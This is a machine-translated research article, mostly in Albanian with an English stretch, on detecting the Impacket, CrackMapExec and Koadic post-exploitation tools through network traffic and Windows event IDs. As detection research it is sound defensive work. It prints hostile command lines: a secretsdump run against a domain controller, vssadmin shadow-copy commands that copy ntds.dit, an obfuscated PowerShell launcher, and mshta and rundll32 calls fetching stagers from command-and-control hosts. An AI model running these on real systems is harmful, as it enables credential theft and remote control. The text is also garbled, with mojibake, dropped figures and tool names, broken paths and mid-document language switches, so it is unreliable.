Numri i sulmeve nĂ« sektorin korporativ po rritet çdo vit: pĂ«r shembull, se nĂ« vitin 2016, ndĂ«rsa pĂ«r vitin 2018 â , krahasuar me periudhĂ«n e kaluar. NjĂ« pĂ«rqindje e konsiderueshme e kĂ«tyre incidenteve ndodhin nĂ« pĂ«rdorim tĂ« sistemit operativ Windows. GjatĂ« viteve 2017â2018, grupet APT Dragonfly, APT28, kanĂ« realizuar sulme ndaj organizatave qeveritare dhe ushtarake nĂ« EvropĂ«, AmerikĂ«n e Veriut dhe ArabinĂ« Saudite. Ata kanĂ« pĂ«rdorur tre mjete pĂ«r kĂ«tĂ« â , dhe . Kodi i tyre burimor Ă«shtĂ« i hapur dhe i disponueshĂ«m nĂ« GitHub.
ĂshtĂ« e rĂ«ndĂ«sishme tĂ« theksohet se kĂ«to mjete pĂ«rdoren jo pĂ«r depĂ«rtimin e parĂ«, por pĂ«r zhvillimin e sulmit brenda infrastrukturĂ«s. HakerĂ«t i pĂ«rdorin ato nĂ« etapa tĂ« ndryshme tĂ« sulmit, kĂ«shtu qĂ« pas kalimit tĂ« perimetrin. Kjo, pĂ«r ta thĂ«nĂ«, Ă«shtĂ« e vĂ«shtirĂ« pĂ«r t'u zbuluar dhe shpesh vetĂ«m me ndihmĂ«n e teknologjive ose mjeteve qĂ« lejojnĂ« . Mjetet ofrojnĂ« shumĂ« funksione â nga dĂ«rgimi i skedarĂ«ve deri nĂ« ndĂ«rveprimin me regjistrin dhe ekzekutimin e komandave nĂ« njĂ« makinĂ« tĂ« largĂ«t. Ne kemi kryer njĂ« studi pĂ«r kĂ«to mjete, pĂ«r tĂ« pĂ«rcaktuar aktivitetin e tyre rrjet.
ĂfarĂ« na duhej tĂ« bĂ«nim:
- Të kuptonim se si funksionon arsimi i hakerëve. Të dinim se çfarë u nevojitet sulmuesve për të shfrytëzuar dhe cilat teknologji ata mund të përdorin.
- Të gjenim atë që nuk zbulohet nga mjetet e sigurisë informacionit në etapat e para të sulmit. Etapa e inteligjencës mund të injorohet, ndoshta sepse sulmuesi është një haker i brendshëm, ose sepse sulmuesi përdor një dobësi në infrastrukturë që nuk ishte e njohur më parë. Ndodhet mundësia për të rikthyer gjithë zinxhirin e veprimeve të tij, nga kjo lind dëshira për të zbuluar lëvizjet e mëtejshme.
- Të eliminojmë aktivizimet e gabuara të mjeteve të zbuluar të ndërhyrjes. Nuk duhet harruar se, kur bëhet fjalë për zbulesa të caktuara, është e mundshme që të ndodhin gabime të shpeshta për shkak të analizës vetëm në bazë të informacioneve. Zakonisht, në infrastrukturë ka mjaft mënyra që, në shikim të parë, duken legjitime për të marrë ndonjë informacion.
ĂfarĂ« u ofrojnĂ« kĂ«to mjete sulmuesve? NĂ«se Ă«shtĂ« Impacket, atĂ«herĂ« keqbĂ«rĂ«sit fitojnĂ« njĂ« bibliotekĂ« tĂ« madhe modulish qĂ« mund tĂ« pĂ«rdoren nĂ« faza tĂ« ndryshme tĂ« sulmit pas kalimit tĂ« perimetrit. ShumĂ« mjete pĂ«rdorin modulĂ« tĂ« Impacket brenda tyre â pĂ«r shembull, Metasploit. Aty janĂ« dcomexec dhe wmiexec pĂ«r ekzekutimin e komandave nga distanca, secretsdump pĂ«r marrjen e llogarive nga memoria, tĂ« cilat janĂ« shtuar nga Impacket. NĂ« pĂ«rfundim, njĂ« mbĂ«rthim i saktĂ« i aktiviteteve tĂ« kĂ«saj biblioteke do tĂ« sigurojĂ« gjithashtu zbulesĂ«n e derivatĂ«ve.
Për CrackMapExec (ose thjesht CME), krijuesit nuk e kanë shkruar rastësisht «Powered by Impacket». Për më tepër, CME ka funksionalitet të gatshëm për skenarët popullorë: kjo është dhe Mimikatz për marrjen e fjalëkalimeve ose hash-eve të tyre, dhe integrimi i Meterpreter apo agjentit Empire për ekzekutim nga distanca, dhe Bloodhound në bord.
Instrumenti i tretë që kemi zgjedhur është Koadic. Ai është mjaft i ri, u prezantua në konferencën ndërkombëtare të hakerëve DEFCON 25 në vitin 2017 dhe dallohet për qasjen e tij të pazakontë: funksionon përmes HTTP, Java Script dhe Microsoft Visual Basic Script (VBS). Ky qasje quhet living off the land: mjeti përdor një grup varësish dhe bibliotekash të integruara në Windows. Krijuesit e tij e quajnë atë COM Command & Control, ose C3.
IMPACKET
Funksionaliteti i Impacket është jashtëzakonisht i gjerë, duke filluar nga zbulimi brenda AD dhe mbledhja e të dhënave nga serverët e brendshëm MS SQL, deri te teknikat për marrjen e kredencialeve: kjo përfshin sulmin SMB relay dhe marrjen e skedarit ntds.dit nga kontrolluesi i domenit, i cili përmban hash-et e fjalëkalimeve të përdoruesve. Gjithashtu, Impacket ekzekuton komandat nga distanca duke përdorur katër metoda të ndryshme: përmes WMI, shërbimit për menaxhimin e planifikuesit të Windows, DCOM dhe SMB, dhe për këtë ai kërkon kredenciale.
Secretsdump
Le të shqyrtojmë secretsdump. Ky është një modul, që ka si objektiv si makinat e përdoruesve, ashtu edhe kontrollet e domain-it. Me të, mund të merrni kopje të zonave të memories LSA, SAM, SECURITY, NTDS.dit, prandaj mund ta shihni në faza të ndryshme të një sulmi. Hapi i parë në funksionimin e modulit është autentikimi përmes SMB, për të cilin nevojitet ose fjalëkalimi i përdoruesit, ose hashing i tij për kryerjen automatike të sulmit Pass the Hash. Më pas bën një kërkesë për hapjen e aksesit në Service Control Manager (SCM) dhe për të marrë akses në regjistrin duke përdorur protokollin winreg, me anë të të cilit sulmuesi mund të marrë informacionin e degëve që e interesojnë dhe të përfitojë rezultatet përmes SMB.
NĂ« figurĂ«n 1 shohim se si ndodh pikĂ«risht kur pĂ«rdoret protokolli winreg pĂ«r tĂ« marrĂ« akses pĂ«rmes njĂ« çelĂ«si tĂ« regjistrit me LSA. PĂ«r kĂ«tĂ« pĂ«rdoret komanda DCERPC me opcode 15 â OpenKey.

Figura 1. Hapja e çelësit të regjistrit përmes protokollit winreg
Më pas, kur është marrë qasje në çelës, ndodh ruajtja e vlerave me komandën SaveKey me opcode 20. Impacket e bën këtë mjaft specifikisht. Ai ruan vlerat në një skedarin, emri i të cilit është një varg prej 8 simboleve të rastësishme me shtesën .tmp. Për më tepër, shkarkimi i mëvonshëm i këtij skedari ndodh përmes SMB nga direktoria System32 (figurë 2).

Figura 2. Skema e marrjes së çelësit të regjistrit nga makina e largët
Pra, për të zbuluar një aktivitet të tillë në rrjet, mund të identifikoni kërkesat për degë të caktuara të regjistrit përmes protokollit winreg, emrat specifikë, komandat dhe rendin e tyre.
Gjithashtu, ky modul lë gjurmë në regjistrin e ngjarjeve të Windows, falë të cilave ai zbulohet lehtësisht. Për shembull, si rezultat i ekzekutimit të komandës
secretsdump.py -debug -system SYSTEM -sam SAM -ntds NTDS -security SECURITY -bootkey BOOTKEY -outputfile 1.txt -use-vss -exec-method mmcexec -user-status -dc-ip 192.168.202.100 -target-ip 192.168.202.100 contoso/Administrator:@DCnë regjistrin e Windows Server 2016 do të shohim sekuencën e mëposhtme kyçe të ngjarjeve:
1. 4624 â Logon i largĂ«t.
2. 5145 â kontrolli i tĂ« drejtave tĂ« aksesit nĂ« shĂ«rbimin e largĂ«t winreg.
3. 5145 â kontrolli i tĂ« drejtave tĂ« aksesit nĂ« skedarin nĂ« direktorinĂ« System32. Skedari ka njĂ« emĂ«r tĂ« rastĂ«sishĂ«m, i pĂ«rmendur mĂ« sipĂ«r.
4. 4688 â krijimi i procesit cmd.exe, i cili nis vssadmin:
âC:windowssystem32cmd.exe" /Q /c echo c:windowssystem32cmd.exe /C vssadmin list shadows ^> %SYSTEMROOT%Temp__output > %TEMP%execute.bat & c:windowssystem32cmd.exe /Q /c %TEMP%execute.bat & del %TEMP%execute.bat5. 4688 â krijimi i procesit me komandĂ«n:
"C:windowssystem32cmd.exe" /Q /c echo c:windowssystem32cmd.exe /C vssadmin create shadow /For=C: > %SYSTEMROOT%Temp__output > %TEMP%execute.bat & c:windowssystem32cmd.exe /Q /c %TEMP%execute.bat & del %TEMP%execute.bat6. 4688 â krijimi i procesit me komandĂ«n:
"C:windowssystem32cmd.exe" /Q /c echo c:windowssystem32cmd.exe /C copy ?GLOBALROOTDeviceHarddiskVolumeShadowCopy3WindowsNTDSntds.dit %SYSTEMROOT%TemprmumAfcn.tmp > %SYSTEMROOT%Temp__output > %TEMP%execute.bat & c:windowssystem32cmd.exe /Q /c %TEMP%execute.bat & del %TEMP%execute.bat7. 4688 â krijimi i procesit me komandĂ«n:
"C:windowssystem32cmd.exe" /Q /c echo c:windowssystem32cmd.exe /C vssadmin delete shadows /For=C: /Quiet > %SYSTEMROOT%Temp__output > %TEMP%execute.bat & c:windowssystem32cmd.exe /Q /c %TEMP%execute.bat & del %TEMP%execute.batSmbexec
Si shumë mjete të tjera për posteksplorimin, Impacket ka modulet për ekzekutimin e komandave në distancë. Ne do të fokusohemi te smbexec, i cili ofron një shell interaktive komande në makinën e largët. Ky modul gjithashtu kërkon autentifikim përmes SMB, përmes një fjalëkalimi ose hash-it të tij. Në figurën 3 shohim një shembull të punës së këtij instrumenti, në këtë rast është konsola e administratorit lokal.

Fig. 3. Konsola interaktive smbexec
Hapi i parë i punës së smbexec pas autentifikimit është hapja e SCM me komandën OpenSCManagerW (15). Kërkesa është e veçantë: në të, fusha MachineName ka vlerën DUMMY.

Fig. 4. Kërkesa për hapjen e Menaxherit të Shërbimeve
Pastaj ndodh krijimi i një shërbimi përmes komandës CreateServiceW (12). Në rastin e smbexec, ne mund të shohim gjithmonë Logjikën e njëjtë të ndërtimit të komandeve. Në figurën 5, me ngjyrë të gjelbër janë shënuar parametrat e pandryshueshëm të komandës, me ngjyrë të verdhë, ata që sulmuesi mund t'i ndryshojë. Nuk është e vështirë të vërehet se emri i skedarit ekzekutues, dosja e tij dhe skedari i daljes mund të ndryshohen, por të ndryshosh të tjerat është shumë më e vështirë pa shkelur logjikën e funksionimit të modulit Impacket.

Fig. 5. Kërkesa për krijimin e shërbimit përmes Menaxherit të Shërbimeve
Smbexec gjithashtu lë gjurmë të qarta në regjistrin e ngjarjeve të Windows. Në regjistrin e Windows Server 2016 për shell-in interaktive të komandës ipconfig do të shohim sekuencën e mëposhtme të ngjarjeve:
1. 4697 â instalimi i shĂ«rbimit nĂ« makinĂ«n e viktimĂ«s:
%COMSPEC% /Q /c echo cd > 127.0.0.1C$__output 2>^&1 > %TEMP%execute.bat & %COMSPEC% /Q /c %TEMP%execute.bat & del %TEMP%execute.bat 2. 4688 â krijimi i procesit cmd.exe me argumentet nga pika 1.
3. 5145 â verifikimi i tĂ« drejtave tĂ« qasjes nĂ« skedarin __output nĂ« direktorinĂ« C$.
4. 4697 â instalimi i shĂ«rbimit nĂ« makinĂ«n e viktimĂ«s.
%COMSPEC% /Q /c echo ipconfig > 127.0.0.1C$__output 2>^&1 > %TEMP%execute.bat & %COMSPEC% /Q /c %TEMP%execute.bat & del %TEMP%execute.bat 5. 4688 â krijimi i procesit cmd.exe me argumentet nga pika 4.
6. 5145 â kontrolli i tĂ« drejtave tĂ« qasjes nĂ« skedarin __output nĂ« direktoriumin C$.
Impacket është baza për zhvillimin e mjeteve për sulme. Ai mbështet pothuajse të gjithë protokollet në infrastrukturën Windows dhe ka karakteristika të veçanta. Këtu janë kërkesat specifike të winreg, përdorimi i SCM API me formimin karakteristik të komandave, formati i emrave të skedave dhe SMB share SYSTEM32.
CRACKMAPEXEC
Instrumenti CME është krijuar për të automatizuar kryesisht ato veprime rutine që sulmuesi duhet të kryejë për të avancuar brenda rrjetit. Ai lejon të punosh në lidhje me agjentin e njohur Empire dhe Meterpreter. Për të realizuar komandat fshehurazi, CME mund t'i obfuskojë ato. Duke përdorur Bloodhound (një instrument të veçantë për kryerjen e inteligjencës), sulmuesi mund të automatizojë kërkimin e sesioneve aktive të administratës së domain-it.
Bloodhound
Bloodhound si një instrument të veçantë lejon kryerjen e inteligjencës së avancuar brenda rrjetit. Ai mbledh të dhëna mbi përdoruesit, makinat, grupet, sesionet dhe ofrohet si një skenar në PowerShell ose si një skedë të shkarkueshme. Për mbledhjen e informacionit përdoren LDAP ose protokollet që mbështeten në SMB. Moduli integrues CME lejon ngarkimin e Bloodhound në makinën e viktimës, nisjen e tij dhe marrjen e të dhënave të mbledhura pas ekzekutimit, duke automatizuar kështu veprimet në sistem dhe duke i bërë ato më pak të dukshme. Ndërfaqja grafike e Bloodhound paraqet të dhënat e mbledhura në formën e grafëve, duke lejuar gjetjen e rrugës më të shkurtër nga makina e sulmuesit deri te administratori i domain-it.

Fig. 6. Ndërfaqja e Bloodhound
Për të nisur në makinën e viktimës, moduli krijon një detyrë duke përdorur ATSVC dhe SMB. ATSVC është ndërfaqja për të punuar me planifikuesin e detyrave Windows. CME përdor funksionin e tij NetrJobAdd (1) për krijimin e detyrave përmes rrjetit. Një shembull i atë që dërgon moduli CME është i paraqitur në fig. 7: ky është thirrja e komandës cmd.exe dhe kodi i obfuskatuar në formën e argumenteve në formatin XML.

Fig.7. Krijimi i detyrës përmes CME
Pasi që detyra është pranuar për ekzekutim, makina e viktimës nis vetë Bloodhound, dhe kjo mund të shihet në trafik. Moduli karakterizohet nga kërkesat LDAP për të marrë grupet standarde, listën e të gjitha makinave dhe përdoruesve në domen, dhe marrjen e informacionit mbi sesionet aktive të përdoruesve përmes kërkesës SRVSVC NetSessEnum.

Fig. 8. Obtaining a list of active sessions via SMB
Additionally, running Bloodhound on the victim's machine with auditing enabled is accompanied by an event with ID 4688 (process creation) and the process name "C:\Windows\System32\cmd.exe". Notable in it are the command line arguments:
cmd.exe /Q /c powershell.exe -exec bypass -noni -nop -w 1 -C " & ( $eNV:cOmSPEc[4,26,25]-JOiN'')( [chAR[]](91 , 78, 101, 116 , 46, 83 , 101 , ⊠, 40, 41 )-jOIN'' ) "Enum_avproducts
The enum_avproducts module is particularly interesting in terms of functionality and implementation. WMI allows querying various Windows objects using the WQL query language, which this CME module essentially utilizes. It generates queries to the AntiSpywareProduct and AntiMirusProduct classes regarding protection means installed on the victim's machine. To retrieve the necessary data, the module connects to the root\SecurityCenter2 namespace, then forms a WQL query and obtains a response. Fig. 9 shows the contents of such queries and responses. In our example, Windows Defender was found.

Fig. 9. Network activity of the enum_avproducts module
WMI auditing (Trace WMI-Activity), where useful information about WQL queries can be found, is often turned off. However, if it is enabled, triggering the enum_avproducts script will save an event with ID 11. This will contain the username that submitted the request and the name in the root\SecurityCenter2 namespace.
Each of the CME modules had its own artifacts, whether specific WQL queries or the creation of a certain type of task in the task scheduler with obfuscation and characteristic Bloodhound activity in LDAP and SMB.
KOADIC
A distinctive feature of Koadic is the use of built-in Windows interpreters for JavaScript and VBScript. In this respect, it follows the living off the land trend â meaning it has no external dependencies and utilizes standard Windows tools. It is a tool for complete Command & Control (CnC), as an 'implant' is installed on the machine after infection, allowing control over it. Such a machine is referred to as a 'zombie' in Koadic terminology. When lacking privileges for full operation on the victim's side, Koadic has the capability to elevate them using User Account Control (UAC bypass) techniques.

Fig. 10. Koadic command shell
Viktima duhet të inicojë vetë komunikimin me serverin Command & Control. Për këtë, ajo duhet të kontaktojë nëpërmjet një URI të përgatitur më parë dhe të marrë trupin kryesor Koadic përmes një prej stagjerëve. Në fig. 11 është treguar një shembull për stagjerin mshta.

Fig. 11. Iniciimi i sesionit me serverin CnC
Nga variabla WS në përgjigje bëhet e qartë se ekzekutimi ndodh përmes WScript.Shell, dhe variablat STAGER, SESSIONKEY, JOBKEY, JOBKEYPATH, EXPIRE përmbajnë informacionin kryesor mbi parametrat e sesionit aktual. Kjo është çifti i parë i kërkesë-përgjigje në lidhjen HTTP me serverin CnC. Kërkesat e mëpasshme lidhen drejtpërdrejt me funksionalitetin e modulimeve të thirrura (implantëve). Të gjithë modulët Koadic funksionojnë vetëm me një sesion aktiv me CnC.
Mimikatz
Ashtu si CME punon me Bloodhound, Koadic punon me Mimikatz si një program të veçantë dhe ka disa mënyra për ta nisur atë. Më poshtë është paraqitur një çift kërkesë-përgjigje për ngarkimin e implantit Mimikatz.

Fig. 12. Transferimi i Mimikatz në Koadic
Vëreni se si ka ndryshuar formati i URI në kërkesë. Ka një vlerë për variablën csrf, e cila është përgjegjëse për modulimin e zgjedhur. Mos e vini re emrin e saj; të gjithë e dimë se çka nënkuptohet zakonisht me CSRF. Në përgjigje erdhi e njëjta trup kryesor Koadic, në të cilin u shtua kodi lidhur me Mimikatz. Ai është mjaft i madh, prandaj do të shqyrtojmë pikat kryesore. Para nesh është një bibliotekë e koduar në base64 Mimikatz, një klasë .NET e serializuar, e cila do ta injektojë atë, dhe argumentet për të nisur Mimikatz. Rezultati i ekzekutimit_transferohet në rrjet në mënyrë të hapur.

Fig. 13. Rezultati i ekzekutimit të Mimikatz në makinën e largët
Exec_cmd
Në Koadic ka gjithashtu modulet që mund të ekzekutojnë komanda në mënyrë të largët. Këtu do të shohim të njëjtin metodë të gjenerimit të URI dhe variablat e njohura sid dhe csrf. Në rastin e modulit exec_cmd, në trupin e përgjigjes shtohet kodi që është në gjendje të ekzekutojë komanda shell. Më poshtë është treguar një kod i tillë, i përfshirë në përgjigjen HTTP të serverit CnC.

Fig. 14. Kodi i implantit exec_cmd
Variabla GAWTUUGCFI me atributin e njohur WS është e nevojshme për ekzekutimin e kodit. Me të, implantit i thërret shell, duke përpunuar dy degë të kodit - shell.exec me kthimin e rrjedhës së daljes të të dhënave dhe shell.run pa kthim.
Koadic nuk është një mjet tipik, por ka artefaktet e veta, mbi të cilat mund të gjehet në trafikun legjitim:
- formimi i veçantë i kërkesave HTTP,
- përdorimi i API-së winHttpRequests,
- krijimi i objektit WScript.Shell përmes ActiveXObject,
- një trup të madh ekzekutues.
Lidhja fillestare inicion një stager, duke krijuar mundësinë për të zbuluar aktivitetin e tij përmes ngjarjeve të Windows. Për mshta, kjo ngjarje është 4688, e cila tregon për krijimin e një procesi me atributin e nisjes:
C:Windowssystem32mshta.exe http://192.168.211.1:9999/dXpT6Gjatë ekzekutimit të Koadic është e mundur të shihet dhe ngjarje të tjera 4688 me atributet që e karakterizojnë atë për mrekulli:
rundll32.exe http://192.168.241.1:9999/dXpT6?sid=1dbef04007a64fba83edb3f3928c9c6c; csrf=;......mshtml,RunHTMLApplication
rundll32.exe http://192.168.202.136:9999/dXpT6?sid=12e0bbf6e9e5405690e5ede8ed651100;csrf=18f93a28e0874f0d8d475d154bed1983;......mshtml,RunHTMLApplication
"C:Windowssystem32cmd.exe" /q /c chcp 437 & net session 1> C:Usersuser02AppDataLocalTemp6dc91b53-ddef-2357-4457-04a3c333db06.txt 2>&1
"C:Windowssystem32cmd.exe" /q /c chcp 437 & ipconfig 1> C:Usersuser02AppDataLocalTemp721d2d0a-890f-9549-96bd-875a495689b7.txt 2>&1Përfundimet
Tendenca living off the land po bĂ«het gjithnjĂ« e mĂ« e njohur mes sulmuesve. Ata pĂ«rdorin mjete dhe mekanizma tĂ« integruar nĂ« Windows pĂ«r nevojat e tyre. Ne shohim se si mjetet e njohura Koadic, CrackMapExec dhe Impacket, tĂ« cilat ndjekin kĂ«tĂ« parim, po shfaqen gjithnjĂ« e mĂ« shpesh nĂ« raportet APT. Numri i forkeve nĂ« GitHub pĂ«r kĂ«to mjete gjithashtu po rritet, me tĂ« reja qĂ« tani janĂ« rreth njĂ« mijĂ«. Tendenca po fiton popullaritet pĂ«r shkak tĂ« thjeshtĂ«sisĂ« sĂ« saj: sulmuesit nuk kanĂ« nevojĂ« pĂ«r mjete tĂ« jashtme, ato tashmĂ« janĂ« nĂ« makinat e viktimave dhe ndihmojnĂ« nĂ« kalimin e masave tĂ« mbrojtjes. Ne fokusohemi nĂ« studimin e ndĂ«rveprimit rrjetor: çdo mjet i pĂ«rmendur mĂ« sipĂ«r lĂ« gjurmĂ«t e tij nĂ« trafikun rrjetor; studimi i detajuar i tyre na lejuan tĂ« mĂ«sojmĂ« produktin tonĂ« tâi zbulojmĂ«, qĂ« pĂ«rfundimisht ndihmon nĂ« hetimin e gjithĂ« zinxhirit tĂ« incidenteve kibernetike me pjesĂ«marrjen e tyre.
Autoret:
- Anton Tyurin, shef i departamentit të shërbimeve ekspertë, Qendra e Sigurisë ekspertë PT, Teknologjitë Pozitive
- Egor Podmokov, ekspert, Qendra e Sigurisë ekspertë PT, Teknologjitë Pozitive
Burimi: habr.com
